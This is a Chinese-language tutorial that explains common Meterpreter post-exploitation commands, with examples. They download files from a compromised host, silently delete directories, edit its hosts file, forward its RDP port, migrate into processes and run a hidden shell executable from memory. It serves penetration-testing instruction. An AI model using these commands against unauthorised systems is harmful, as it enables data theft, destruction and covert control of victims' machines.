Meterpreter常用命令介紹

基本命令

1.background:將meterpreter終端隱藏在後臺(快捷鍵ctrl+z)
 
2.sessions:查看已經成功獲得的會話,如果想繼續與某會話交互,可以使用sessions -i 命令.
 
3.quit:直接關閉當前的meterpreter會話,返回MSF終端.
 
4.shell:獲取目標系統的控制檯shell.
 
5.irb:在meterpreter會話與ruby終端交互.
 


文件系統命令

1.cat:查看文件內容.
 
2.getwd:獲得目標機器上當前的工作目錄,getlwd,這個命令可以獲得當前系統的工作目錄.
 
3.upload:可以上傳文件或文件夾到目標機器上;upload 要上傳的文件 C:\Users\buzz\Desktop
 
4.download:從目標機器上下載文件或文件夾,注意windows路徑要用雙斜槓進行轉義. download C:\\test.txt /root/home/test
 
5. edit:調用vi編輯器,對目標機器上的文件進行編輯;edit c:\\windows\\system32\\drivers\\etc\\hosts
 
6. search:可通過search -h查看幫助信息,參數-d指定搜索的起始目錄或驅動,如果爲空,將進行全盤搜索;參數-f指定搜索的文件或部分文件名,支持星號(*)匹配;參數-r遞歸搜索子目錄.
search -d c:\\windows -f *.txt
 
7.rm:刪除目標機器的文件.
 
8.rmdir /s/q c:\\test:進入shell後使用此命令可以刪除目錄下的所有文件和文件夾,/s表示所有子目錄和文件/q表示安靜模式,不顯示yes or no.


網絡命令

1.ipconfig:查看目標機器網絡接口信息
 
2.portfwd:它是meterpreter自帶的端口轉發器,用於把目標機器的端口轉發到本地端口;假設目標機開放了3389端口,使用如下命令將其轉發到本地3456端口:portfwd add -l 3456 -p 3389 -r 192.168.88.110
 
3.rdesktop -u 用戶名 -p 密碼 ip:端口  連接開啓遠程桌面的windows系統.
 
4.route:顯示目標機器的路由信息.


系統命令

1.ps:用於獲得目標主機上正在運行的進程信息.
 
2.migrate pid:將Meterpreter會話從一個進程遷移到另一個進程的內存空間中,可以配合ps -ef |grep explorer.exe
 
3.execute:在目標機器上執行文件.    execute -H -i -f cmd.exe 直接與cmd進行交互.  參數-H 表示隱藏執行 -i 表示直接與cmd交互.
另外execute命令的-m參數支持直接從內存中執行攻擊者的可執行文件.    execute -H -m -d regedit.exe -f hidden_shell.exe
具體參數介紹:
Executes a command on the remote machine.
OPTIONS:
    -H        Create the process hidden from view.
    -a <opt>  The arguments to pass to the command.
    -c        Channelized I/O (required for interaction).
    -d <opt>  The 'dummy' executable to launch when using -m.
    -f <opt>  The executable command to run.
    -h        Help menu.
    -i        Interact with the process after creating it.
    -k        Execute process on the meterpreters current desktop
    -m        Execute from memory.
    -s <opt>  Execute process in a given session as the session user
    -t        Execute process with currently impersonated thread token
 
4.getpid:獲得當前會話所在進程的PID值.
 
5.kill:用於終結指定的PID進程.
 
6.getuid:用於獲得運行meterpreter會話的用戶名,從而查看當前會話具有的權限.
 
7.sysinfo:用於得到目標系統的一些信息,例如機器名,操作系統等.
 
8.shutdown:用於關閉機器,meterpreter會話會斷開.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章